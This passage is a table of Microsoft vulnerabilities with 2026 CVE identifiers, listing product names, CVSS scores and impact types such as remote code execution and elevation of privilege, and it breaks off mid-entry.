CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for 